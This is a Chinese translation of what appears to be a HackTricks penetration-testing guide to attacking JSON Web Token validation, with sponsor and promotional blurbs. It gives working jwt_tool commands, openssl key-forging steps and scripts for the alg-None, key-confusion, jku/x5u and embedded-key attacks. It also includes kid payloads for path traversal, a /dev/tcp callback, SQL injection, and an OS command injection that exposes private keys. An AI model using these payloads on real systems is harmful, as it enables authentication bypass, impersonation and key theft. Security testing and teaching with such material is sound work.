15 KiB
JWT 漏洞(Json Web Tokens)
从零到英雄学习 AWS 黑客技术 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您希望在 HackTricks 中看到您的公司广告 或 下载 HackTricks 的 PDF,请查看 订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFTs 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上 关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
Bug bounty 小贴士:注册 Intigriti,一个由黑客创建的高级漏洞赏金平台!立即加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
本文部分内容摘自: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs 渗透测试的绝佳工具作者 https://github.com/ticarpi/jwt_tool
快速获胜
运行 jwt_tool 并选择 All Tests!
模式,等待绿色线条
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
如果你运气好,该工具会找到某些情况,其中web应用程序检查JWT的方式不正确:
然后,你可以在你的代理中搜索请求,或者使用jwt_tool转储该请求使用的JWT:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
在不修改任何内容的情况下篡改数据
您可以只篡改数据,保持签名不变,并检查服务器是否在检查签名。尝试将您的用户名更改为“admin”举例。
令牌是否被检查?
- 如果出现错误消息,则正在检查签名 - 阅读可能泄露敏感信息的任何详细错误信息。
- 如果返回的页面不同,则正在检查签名。
- 如果页面相同,则没有检查签名 - 是时候开始篡改有效载荷声明,看看您能做什么了!
来源
检查令牌在您的代理请求历史中的起源位置。它应该在服务器上创建,而不是客户端。
- 如果它首次出现是从客户端发送的,则密钥可被客户端代码访问 - 寻找它!
- 如果它首次出现是从服务器发送的,则一切正常。
有效期
检查令牌是否持续超过24小时... 也许它永不过期。如果有“exp”字段,请检查服务器是否正确处理它。
暴力破解HMAC密钥
将算法修改为None (CVE-2015-9235)
将使用的算法设置为“None”并移除签名部分。
使用Burp扩展名为“JSON Web Token”的功能来尝试这个漏洞,并更改JWT内的不同值(将请求发送到Repeater,在“JSON Web Token”标签中您可以修改令牌的值。您也可以选择将“Alg”字段的值设置为“None”)。
将算法RS256(非对称)更改为HS256(对称)(CVE-2016-5431/CVE-2016-10555)
算法HS256使用密钥来签名和验证每条消息。
算法RS256使用私钥来签名消息,并使用公钥进行认证。
如果您将算法从RS256更改为HS256,后端代码将使用公钥作为密钥,然后使用HS256算法来验证签名。
然后,使用公钥并将RS256更改为HS256,我们可以创建一个有效的签名。您可以执行以下操作来检索Web服务器的证书:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
在头部中嵌入新的公钥
攻击者在令牌的头部嵌入一个新的密钥,服务器使用这个新的密钥来验证签名(CVE-2018-0114)。
这可以通过 "JSON Web Tokens" Burp 扩展来完成。
(将请求发送到 Repeater,在 JSON Web Token 标签页中选择 "CVE-2018-0114" 并发送请求)。
JWKS 欺骗
如果令牌使用了 “jku” 头部声明,那么检查提供的 URL。这应该指向一个包含 JWKS 文件的 URL,JWKS 文件中包含了用于验证令牌的公钥。篡改令牌,将 jku 值指向你可以监控流量的网络服务。
如果你得到了 HTTP 交互,你现在知道服务器正在尝试从你提供的 URL 加载密钥。使用 jwt_tool 的 -S 标志以及 -u http://example.com 参数来生成一对新的密钥,注入你提供的 URL,生成包含公钥的 JWKS,并用私钥签署令牌
Kid 问题
kid
是一个可选的头部声明,它包含了一个密钥标识符,当你有多个密钥来签署令牌并且需要查找正确的密钥来验证签名时特别有用。
"kid" 问题 - 揭示密钥
如果在头部使用了 "kid" 声明,检查网站目录中是否有该文件或其变体。例如,如果 "kid":"key/12345"
,那么在网站根目录下查找 /key/12345 和 /key/12345.pem。
"kid" 问题 - 路径遍历
如果在头部使用了 "kid" 声明,检查是否可以使用文件系统中的不同文件。选择一个你可能能预测内容的文件,或者尝试使用 "kid":"/dev/tcp/yourIP/yourPort"
来测试连通性,甚至一些 SSRF 载荷...
使用 jwt_tool 的 -T 标志来篡改 JWT 并更改 kid 声明的值,然后选择保持原始签名
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
使用主机内已知内容的文件,您也可以伪造有效的JWT。例如,在linux系统中,文件/proc/sys/kernel/randomize_va_space
的值设置为2。因此,将该路径放入"kid"参数中,并使用"2"作为对称密码来生成JWT,您应该能够生成一个有效的新JWT。
"kid"问题 - SQL注入
在一个使用"kid"内容从数据库检索密码的场景中,您可以将"kid"参数内的有效载荷更改为:non-existent-index' UNION SELECT 'ATTACKER';-- -
,然后使用密钥ATTACKER
对JWT进行签名。
"kid"问题 - 操作系统注入
在一个"kid"参数包含密钥文件路径,并且该路径在执行的命令中使用的场景中,您可以使用如下有效载荷获得RCE并暴露私钥:/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
杂项攻击
以下是已知的弱点,应进行测试。
跨服务中继攻击
一些Web应用程序使用可信的JWT‘服务’来为它们生成和管理令牌。在过去,有些情况发生了,为JWT服务的一个客户端生成的令牌实际上可以被JWT服务的另一个客户端接受。
如果您观察到JWT通过第三方服务发行或更新,那么值得识别您是否可以在该服务的另一个客户端上使用相同的用户名/电子邮件注册账户。如果可以,尝试取出该令牌并在请求目标时重放它。它被接受了吗?
- 如果您的令牌被接受,那么您可能有一个关键问题,允许您冒充任何用户的账户。但是,请注意,如果您在第三方应用程序上注册,您可能需要寻求更广泛的测试权限,以防它进入法律灰色地带!
是否检查exp?
“exp”有效载荷声明用于检查令牌的过期时间。由于JWT通常在没有会话信息的情况下使用,因此需要小心处理 - 在许多情况下,捕获并重放其他人的JWT将允许您伪装成该用户。
JWT重放攻击的一个缓解措施(JWT RFC建议)是使用“exp”声明为令牌设置一个过期时间。在应用程序中设置相关检查也很重要,以确保处理此值并在令牌过期时拒绝它。如果令牌包含“exp”声明,并且测试时间允许 - 尝试存储令牌并在过期时间过后重放它。使用jwt_tool的-R标志来读取令牌的内容,其中包括时间戳解析和过期检查(时间戳为UTC)
- 如果令牌在应用程序中仍然有效,那么这可能是一个安全风险,因为令牌可能永远不会过期。
x5u和jku
jku
jku代表JWK Set URL。
如果令牌使用“jku”Header声明,那么检查提供的URL。这应该指向一个包含JWKS文件的URL,该文件持有用于验证令牌的公钥。篡改令牌,将jku值指向您可以监控流量的Web服务。
首先,您需要创建一个带有新的私钥和公钥的新证书
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
然后您可以使用例如 [**jwt.io**](https://jwt.io) 来使用**创建的公钥和私钥创建新的JWT,并将参数jku指向创建的证书。** 为了创建有效的jku证书,您可以下载原始证书并更改所需的参数。
您可以使用以下方法从公共证书获取参数 "e" 和 "n":
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL。一个指向一组以 PEM 形式编码的 X.509(证书格式标准)公共证书的 URI。该组中的第一个证书必须是用来签署这个 JWT 的证书。随后的证书每个都签署前一个,从而完成证书链。X.509 在 RFC 52807 中定义。传输证书时需要传输安全保护。
尝试将此头部更改为您控制下的 URL,并检查是否收到任何请求。在这种情况下,您可以篡改 JWT。
要伪造一个由您控制的证书签名的新令牌,您需要创建证书并提取公钥和私钥:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
然后你可以使用例如 jwt.io 来创建新的 JWT,并使用创建的公钥和私钥,并将 x5u 参数指向创建的证书 .crt。
你还可以利用这两个漏洞进行 SSRF 攻击。
x5c
此参数可能包含以 base64 编码的证书:
如果攻击者生成一个自签名证书,并使用相应的私钥创建一个伪造的令牌,并替换 "x5c" 参数的值为新生成的证书,并修改其他参数,即 n、e 和 x5t,那么本质上伪造的令牌将被服务器接受。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
嵌入式公钥 (CVE-2018-0114)
如果JWT像以下场景中那样嵌入了一个公钥:
使用以下nodejs脚本可以从那些数据生成一个公钥:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
可以生成新的私钥/公钥,将新的公钥嵌入令牌中,并使用它来生成新的签名:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
你可以使用以下的nodejs脚本来获取 "n" 和 "e":
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
使用公钥和私钥以及新的 "n" 和 "e" 值,您可以使用 jwt.io 伪造一个包含任何信息的新有效 JWT。
JTI(JWT ID)
JTI(JWT ID)声明提供了 JWT 令牌的唯一标识符。它可以用来防止令牌被重放。
然而,想象一个 ID 的最大长度为 4(0001-9999)的情况。请求 0001 和 10001 将使用相同的 ID。所以如果后端在每个请求上递增 ID,您可以利用这一点来重放请求(需要在每次成功重放之间发送 10000 个请求)。
JWT 注册声明
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
工具
{% embed url="https://github.com/ticarpi/jwt_tool" %}
漏洞赏金提示:注册 Intigriti,一个由黑客创建的高级漏洞赏金平台!立即加入 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习 AWS 黑客攻击!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF,请查看订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFTs 收藏
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。